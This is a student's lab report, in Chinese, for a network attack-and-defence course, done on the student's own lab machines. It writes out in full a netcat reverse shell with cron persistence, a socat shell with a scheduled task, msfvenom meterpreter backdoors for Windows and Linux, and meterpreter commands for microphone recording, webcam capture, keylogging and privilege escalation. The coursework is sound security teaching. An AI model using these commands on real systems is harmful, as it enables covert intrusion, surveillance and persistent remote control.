20222406 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1实验目标
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2回答问题
-
例举你能想到的一个后门进入到你系统中的可能方式?
一种可能的后门进入系统的方式是通过恶意软件伪装成正常程序被用户误下载安装,从而在系统中打开后门通道。
-
例举你知道的后门如何启动起来(win及linux)的方式?
在 Windows 系统中,后门可能通过随系统启动项自动启动,比如添加到注册表启动项中;在 Linux 系统中,后门可能通过修改系统服务的启动脚本或者 cron 定时任务来启动。
-
Meterpreter有哪些给你映像深刻的功能?
Meterpreter 让人印象深刻的功能有远程控制,可以执行各种命令;获取系统信息,包括用户账号、键盘输入、摄像头等。
-
如何发现自己有系统有没有被安装后门?
可以使用专业的安全软件进行全面扫描;检查系统进程和启动项;监测网络连接,看是否有不明的对外连接;查看系统日志。
2.实验过程
2.1实验环境准备
2.1.1查询IP
调用命令行输入ipconfig
查询电脑IP:
如我的PC此时的IP为192.168.120.68
在kali中输入命令ifconfig
查询虚拟机IP:
如我的kali此时的IP为192.168.137.128
注意:二者的命令相似但不相同
2.1.2下载附件
通过附件下载netcat和socat:
下载最后两个文件(下载前需进行注册或登录):
2.1.3安装测试netcat
下载结束后对文件进行解压,并配置环境变量:
首先在本机内搜索查看高级系统设置,点击环境变量后在系统变量中点击Path,点击编辑,点击新建输入netcat所在的位置:
随后连点确定即可。
接下来开始测试netcat是否能够成功运行,
首先开启两个命令行,分别输入命令ncat.exe -l -p 9000
和ncat localhost 9000
(9000为端口号,可换):
可见,在其中一个命令行内输入命令后敲回车,另一个命令行内便会同步输出。
2.1.4安装测试socat
如上一步,首先配置环境变量:
随后打开命令行输入socat
即可查看socat是否安装成功:
如图,安装成功,接下来可以进行实验了。
2.2使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
首先,在Windows中打开命令行输入ncat.exe -l -p 9000
(9000是端口号,可换,不冲突即可):
随后,在kali中输入nc 192.168.120.68 9000 -e /bin/sh
通过ncat与win10主机建立反弹式连接(此处需要输入Windows的IP地址):
此时在win中输入ls
即可看到虚拟机内容(含乱码):
根据此处显示的文件名可以确定二者已经建立连接,win已经可以调用kali的shell。
此时若在win中运行指令crontab -e
则会显示有问题:
在win中输入exit即可退出连接,并且在kali中可以看到之前的内容(不含乱码):
随后在kali中运行指令crontab -e
执行文字编辑器来设定时程表,
加入20 * * * * /bin/netcat 192.168.120.68 9000 -e /bin/sh
,
其中IP地址是win主机的,在每小时的第20分钟启动任务(途中更换了WIFI):
输入crontab -l
查看时程表:
此时在文件夹/var/spool/cron/crontabs中出现对应文件(只有root账户可以看到):
随后重新对win和kali进行连接,并输入whoami
即可出现root:
注意:此时需要查看所在目录,如果不是root,需要进入root模式。
然后输入命令echo "* * * * * echo "20222406wangrui" > /home/kali/2406.txt" > /var/spool/cron/crontabs/root
,
即每分钟定时执行一次,用覆盖文件2406.txt,
输入crontab -l
查询时程表即可发现覆盖:
此时的kali账户中也发生了改变(此时若等待一会便会弹出更新文件内容的提示):
2.3使用socat获取主机操作Shell, 任务计划启动
在win的命令行中输入socat.exe tcp-listen:2420 exec:cmd.exe,pty,stderr
开启监听:
在kali中输入socat - tcp:192.168.1.108:2420
:
随后在kali中输入命令:schtasks /create /sc minute /mo 1 /tn "20222406" /tr C:\Users\Public\Desktop\Steam.lnk
:
即每分钟通过桌面的快捷方式启动steam:
此时通过任务计划程序就可以发现名为20222406的计划:
2.4在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
注意:在进行步骤2.4时需要关闭防病毒和防火墙
在kali中输入命令ifconfig
即可出现kali的IP地址:
在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -f exe > 20222406_backdoor.exe
(使用kali的IP地址):
win中输入ncat.exe -l 2406 > 20222406_backdoor.exe
:
kali中输入nc 192.168.39.68 2406< 20222406_backdoor.exe
(使用win主机的IP):
此时可以发现文件已经出现:
在kali中输入命令msfconsole
进入控制台:
随后分别输入:
use exploit/multi/handler
配置监听模块,
set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload,
set LHOST 192.168.137.128
使用kali的IP,需要和之前生成后门程序时设置的IP相同,
set LPORT 2406
设置端口,需要和之前生成后门程序时设置的端口相同:
输入show options
可查看配置情况:
接下来打开后门程序:
接下来在kali中继续输入exploit
:
接下来输入ls
即可展示目录,这说明我们的后门已经安装成功:
2.5使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
顺着2.4输入分别命令
record_mic
获取音频,
screenshot
获取截屏,
webcam_snap
获取拍照:
此时可以看到所拍的内容:
继续输入命令
keyscan_start
读取键盘输入,
keyscan_dump
结束读取键盘输入:
在上图中可以看到我在键盘中敲过自己的姓名。
继续输入命令
getuid
查看当前用户,
getsystem
提权指令:
2.6使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali中输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=2406 -x /root/桌面/pwn1 -f elf > pwn20222406
(使用kali的IP地址):
输入chmod a+x pwn20222406
:
接下来分别输入命令来重现监听
msfconsole
,
use exploit/multi/handler
,
set payload linux/x86/meterpreter/reverse_tcp
,
set LHOST 192.168.137.128
,
set LPORT 2406
,
exploit
:
打开另一个终端输入命令./pwn20222406
运行pwn文件:
此时可以发现,原来的终端继续运行。
回到刚才的终端,输入ls
确认连接,成功实现远程控制shell:
3.问题及解决方案
- 问题1:在2.3处会乱码显示:
- 问题1解决方案:此时输入命令
chcp 65001
即可:
4.学习感悟、思考等
通过本次实验,了解了使用netcat和socat获取主机操作Shell、利用MSF meterpreter生成后门程序以及注入shellcode等。学会了利用cron定时任务和任务计划启动后门的方法,了解了后门在不同系统中的启动方式。熟悉了MSF meterpreter的强大功能,如获取目标主机音频、摄像头、击键记录以及提权等操作。
此外,我也在实验过程中遇到了一些问题,如乱码问题等,通过查阅资料和不断尝试,找到了有效的解决方案。而且我深刻认识到系统安全的重要性。了解到恶意软件可以通过多种方式进入系统,从而更加关注系统的安全防护,如及时更新安全软件、不随意下载不明来源的程序等。
总之,本次实验让我在技术、问题解决能力和安全意识等方面都有了很大的收获。同时,也引发了我对系统安全防护、道德法律的深入思考。